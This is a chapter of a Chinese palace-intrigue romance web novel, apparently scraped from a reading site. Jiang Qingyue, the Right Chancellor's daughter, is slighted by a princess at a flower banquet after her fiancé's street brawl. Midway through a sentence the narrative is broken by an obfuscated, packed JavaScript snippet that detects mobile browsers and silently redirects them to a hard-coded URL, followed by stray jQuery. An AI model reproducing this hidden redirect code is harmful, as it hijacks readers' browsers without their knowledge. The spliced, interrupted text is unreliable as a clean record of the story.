默认冷灰
24号文字
方正启体

2. 第 2 章

作者:洱梨本书字数:K更新时间:
    也不知男人有没有听见她那声问安,未有丝毫表示,径直走过江卿月,上了马车。侍从再次开道,马车行驶出去。


    柳梢不由得惊叹:“这位左相大人果真如岑公子说的那般,不近人情——”


    江卿月低声呵斥:“这不是我们可以妄加评论的。”柳梢立刻闭了嘴,却听见边上有人在疑惑。


    “不都说左相大人日理万机,鲜少出街么?怎么是他来处理两位公子闹事?”


    “自家弟弟出事,他不得来看看?”


    柳梢心中嘟囔,左相大人可从未管过他的弟弟,无情着呢,连家都不回。


    她在江卿月身边伺候,每每岑亭泊来寻江卿月,两人说话时她在边上多多少少听到了些。


    说这位左相大人忙得一年没几次回岑府,连岑老爷子派人去请,都不回来的,更别提会管他这个同父异母的弟弟。


    柳梢听着觉得奇怪,待岑亭泊走后,悄悄问过江卿月:“小姐,左相大人是不是和家里人不和啊,家都不回,那他住哪?”


    江卿月敲了她的脑袋,让她小心说话。


    现如今一看,岑移舟对自己的弟弟,确实没几分感情。


    马车走远,李自臻碰了自己的脸,嘶了一声,“岑亭泊这小子下这么重的手。”


    他偏头看过去,见岑亭泊还盯着马车离开的方向看,毫不客气嘲讽:“有这么一个处处压你一头的兄长在,你还有出头之日?”


    霎时间岑亭泊惨白了脸,正要回怼,却听到一声熟悉的呼唤,立刻转头看去。


    女子朝他快步走来,面上满是担忧之色,眼眸里氤氲着雾气,显然是吓着了。


    岑亭泊心情好了些,站在那等着女子朝自己走来,却听见李自臻啧了一声,语气嘲讽:“就你这样的,还能娶右相的女儿,有这么个受陛下重用的哥,连带着你跟着沾光,真令人羡慕。”


    李自臻目光肆无忌惮地打量走来的女子,他的声音没有收敛,江卿月全都听见了,脚步慢下来,咬住唇不想靠近。


    岑亭泊捏紧了手,正要动时,脱臼的那只胳膊抽痛,立刻松了手,眉头紧皱,瞪着李自臻。


    见他身体姿态不对劲,江卿月连忙走过去,问:“可是伤着哪了?”


    声音柔柔的,棉花一样,李自臻听着又啧了一声,目光黏在江卿月身上,直到被岑亭泊挡住视线,才收回目光,哼哧一笑,眼神挑衅地瞪了回去,转身离开。


    岑亭泊咬了牙,收回目光转向江卿月,说:“胳膊脱臼,叫大夫一看就好。”


    江卿月抿唇,心里难受。


    “那我们先去看大夫,再回去赴宴?”


    岑亭泊正要说好,想起还得去领罚,脸色难看:“卿卿你先去,我去领了罚再回去。”


    “我陪你一起。”江卿月说完这句,只沉默着扶着他走向马车。


    岑亭泊见她面色不佳,想了一想,解释说,本是约好了会在今日去接她,谁知母亲说有事要他帮忙,忙了半日都不见停,想着她时间等不及了,便直接出了门来接,谁知半道上遇上这么个煞星。


    江卿月轻轻嗯了一声。


    “你生我气了?因为我没有及时来接你?”


    江卿月猛一抬头看他,瞧见他脸色惨白,连忙摇头:“我并未生你的气。”


    看热闹的人陆陆续续离开,两人站在街口,有些显眼。


    本就没有怪他的意思,听到岑亭泊解释,他又因接自己,途中受了伤,现下只觉得愧疚。


    带他上了自己的马车,忍不住心急道:“我们先去找大夫给你看看胳膊吧?”


    “不行,我若不及时去领罚,被他知道,怕是会加重刑罚。”


    岑亭泊说得咬牙切齿,江卿月只能跟着担心。


    这位左相大人在政事上一丝不苟要求极严,竟然对自己亲人也这么无情。


    只希望日后嫁过去,不要经常碰见他。


    等到岑亭泊领完罚,再去医馆看过大夫,柳梢传来话,说是岑夫人知道岑亭泊出了事,派人过来接他。


    刚出医馆,就见到岑夫人身边伺候的王嬷嬷,瞧见岑亭泊胳膊绑着纱布,她连忙走过来,把江卿月挤到边上,一阵问岑亭泊伤着哪了。


    柳梢看得清清楚楚,王嬷嬷一来,硬是把自家小姐手扯开,肥胖的身子一拱,若非小姐站的稳,就要被她推倒了。


    “小姐,她……”


    江卿月摇了头,拍了拍柳梢的手,往边上退了些。


    待王嬷嬷说完,这才与晾在一边的江卿月说了话:“夫人见江小姐迟迟不来,担忧江小姐路上出事,派我来接江小姐。现下瞧着小姐好着呢,奴婢这提着的心放下了,快快随奴婢赴宴吧。”


    “母亲知道了?”岑亭泊一见王嬷嬷犀利的眼神,心道不好,转头朝江卿月道:“事情都处理好了,卿卿你随我们一道,母亲应该等久了。”


    江卿月低了头,说好。回去时,岑亭泊上了王嬷嬷带来的马车。


    因着怕今日事传出去,他们一前一后分开进岑府,江卿月直接被领着去了后花园,还未走到,便听见里头的声音。


    她的身影一出现,全场寂静,打量的目光全都射在她身上,颇有几分打量挑剔的意思。


    右相之女江卿月与岑亭泊定了婚事,上京城人人皆知,不过江卿月鲜少出门,见过她的人甚少,如今这场百花宴,见过她的没见过她的都来了。


    女子身披绒白披肩,妆容素雅,与这满园争奇斗艳的花儿比起来,未有丝毫逊色。


    她生得娇俏,鹅蛋脸上生了对勾人的狐狸眼。眉眼上勾,只一眼望过来,轻易将魂勾了去,清纯又媚。


    王嬷嬷走到岑夫人身侧,耳语几句,岑夫人松了眉,朝江卿月招手,笑道:“孩子,过来坐。”


    江卿月眸光一转,走过去。


    岑夫人拉着她的手,朝众女眷道:“这位是江右相千金,今日百花宴,我特地请来与大家见见。”


    江卿月扬起了唇,礼貌地笑笑,正要坐下时,一道女声骤起:


    “你就是岑二公子的……未婚妻?”


    说话的女子脸上挂着笑,坐在席位上,仰头看着江卿月,她一出声,无人敢接话。


    江卿月认出了她,当今圣上的三女儿,明黄公主,李郦。


    立刻行礼,喊了声公主,她却没应。


    江卿月收了笑,正待坐下身时,忽地听见她说:“江小姐姗姗来迟,可叫我们一阵好等啊。”


    这是要兴师问罪。


    江卿月正要解释,她又说:“这是去哪了,来的这么晚?”


    语调轻缓,只是在这样的场合,还是江卿月迟来、众人注意力都在她身上时,说出这般话。


    多少有几分刁难的意思。


    这番话说完,岑夫人只坐着茗茶,女眷们见两位有话语权的都未


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373663|168238||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    叫江卿月坐下,心知这是在刁难她,全都看戏般地瞧着她,看她如何应对。


    柳梢在后面看得心急,想说清迟来缘由,为自己小姐澄清,却知道自己在这没有说话的份,反而会害了小姐,只得忍着。


    若是夫人与小姐共同来赴宴,小姐绝不会遭她们欺负。


    “臣女多谢公主关心。”江卿月又朝李郦行了礼,道:“来时途中遇到街上有纨绔闹事,堵着了路,这才来得迟了。”


    “谁家纨绔子弟竟然敢在上京城闹事?这可是天子脚下!”


    岑夫人蹙了眉,神色不虞,隐晦地朝江卿月瞥过去一眼,待听见她的回答,微微点头,眸中带笑。


    “正是镇远侯世子,李自臻。”她未说出还有岑亭泊。


    问话的人瞬闭了嘴,不敢再言。


    李自臻是谁,那可是上京城出了名的纨绔,其父镇远侯功名盖世,明黄公主李郦是他堂姐,可谓是上京城中皇亲贵胄里最尊贵的。


    在场的女眷倒吸一口冷气,江卿月这么一说出来闹事的是李自臻,就不怕得罪李郦?


    岑夫人敛了脸色,正要扬手让江卿月坐下时,李郦再次出声。


    “是么,既有纨绔子弟闹事,那应当是叫了执金吾来处罚的。”李郦抬眼,眸光犀利,声音沉下:“江小姐可见着有人叫了么?”


    江卿月不知自己做了什么,一来这便要被针对。此次百花宴,来赏花是假,刺探她才是真。


    她如实道:“恰巧左相大人车骑经过,已由大人处罚了闹事之人。”全程没有提到一句与岑亭泊有关的话。


    只听到齐齐的倒吸气声,李郦神色微妙。


    岑夫人适时开口道:“这一路劳累,站得久了,小月应当累了吧,快些坐下,吃口茶。”


    王嬷嬷立刻为江卿月倒了碗茶。


    江卿月坐好后,刚拿起茶碗,岑夫人又问道:“怎的只你一人来了,你母亲呢?”


    江卿月手一顿,笑了笑,说:“舍弟前几日摔了腿,家母这几日都在照看他,脱不开身,便由我来赴宴,还嘱托我来了岑府,要问夫人安。”


    她说着,又要起身问好,被岑夫人拦下。


    “坐吧,再有两月多,这称呼就要换了,可不能这么生疏。”岑夫人笑着说完,转了身去与公主说话。


    江卿月这才有功夫喝口茶水润润嗓,身子微微向后靠时,惊觉后背已经被冷汗浸湿。


    不适地动了动,柳梢注意到她的动作,弯腰问:“小姐可是有哪里不舒服?”


    江卿月摇了头。


    左右不过一场宴席,至多一两个时辰,忍过去便好。


    虽然在见到女眷们后已经有了心理准备,但还是有些难以应对。


    在这里她虽有个右相之女的名头在,但并非能为她带来任何支撑,熟知朝中权力变化的都知道,江右相空有个官衔,实则管不了几个事,地位大不如前。


    现如今是岑移舟大权在握,独揽朝中政务。


    若非如此,一场百花宴,怎么会请得动公主来参加。


    江卿月垂下眸,茶盏中水液微晃,将她倒映出的面容扭曲。


    忽地有人提到她。


    “江小姐与岑公子的婚事,是在三月后么?”


    江卿月放下茶盏,听见岑夫人答是。


    “岑公子大喜之日,也不知道左相大人,有没有时间,为他的弟弟道声喜呢。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)